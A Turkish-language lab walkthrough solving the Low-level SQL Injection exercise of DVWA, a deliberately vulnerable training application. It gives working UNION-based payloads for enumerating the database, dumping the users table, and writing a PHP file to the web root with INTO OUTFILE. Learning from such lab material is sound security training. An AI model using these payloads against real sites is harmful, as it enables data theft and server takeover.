TR | DVWA-SQL Injection Bölümü Cevapları Level: Low
Cevaplara geçmeden önce levelinizin LOW olduğundan emin olunuz.
SQL Injection Tespiti
İlk olarak
1' or '1'='1
denemesi ile SQL Injection tespiti yapıyoruz ve sorguların tek tırnak ile olduğunu görüyoruz.
Veritabanındaki Kolon Sayısının Tespiti
1' UNION SELECT 1,2 #
sorgusu ile veritabanında iki kolon olduğunu gördük.
Veritabanının Versiyon Bilgisi
1' UNION SELECT version(),2 #
sorgusu ilede versiyon bilgisini elde edebiliriz.
Veritabanının İsim Bilgisi
1' UNION SELECT database(),2 #
sorgusu ilede database ismine ulaşabiliriz.
Veritabanındaki Tabloların Belirlenmesi
1' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema = 'dvwa' #
sorgusu ile daha önce bulduğumuz dvwa database ine ait tabloların isimlerine ulaşabiliriz.
Buradaki çıktıda dvwa veritabanında guestbook ve users olmak üzere iki adet tablo olduğunu gördük.
Tabloların Kolonlarının Belirlenmesi
1' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users' #
sorgusu ile dvwa veritabanının users tablosunun kolonlarına ulaşabiliriz.
Bu çıktıda ise dediğimiz gibi dvwa veritabanının users tablosunun user_id,first_name,last_name,user,password,avatar adlı kolonlarının olduğunu görmüş olduk.
Tablolardaki Verileri Ekrana Yazdırma
1' UNION SELECT first_name,last_name FROM users #
sorgusu ilede dvwa veritabanındaki users tablosundan first_name ve last_name verilerini çektik.
SORGU İLE DOSYA EKLEME
1' UNION SELECT '<?php echo "ahmet gurel";','?>' INTO OUTFILE '/var/www/html/dvwa/ahmet.php' #
sorgusu ile ahmet.php dosyası oluşturup içine küçük bir php kodu ekledik.Buraya daha farklı kodlar ve sayfalar oluşturabiliriz.
Sorgumuz çalıştı ve ahmet.php dosyası oluştu.Bu dosyaya 127.0.0.1/dvwa/ahmet.php adresine gittiğimde görüyorum.
Burada admin admin ahmet gurel yazıyor aslında biz php kodumuzda sadece ahmet gurel yazmıstık.Bunun nedeni UNION dan önceki 1′ çalıştığında ilk kullanıcıyı admin admin döndürüp koda eklemesinden kaynaklanıyor.
Birde bu dosya ekleme saldırısını yapmaya çalıştığında okuma ve yazma yetkiniz yok gibi bir hata alıyorsanız.Linuxta dvwa nın bulunduğu yere aşağıdaki resimdeki gibi okuma ve yazma izni vererek bu saldırı metodunu deneyebilirsiniz.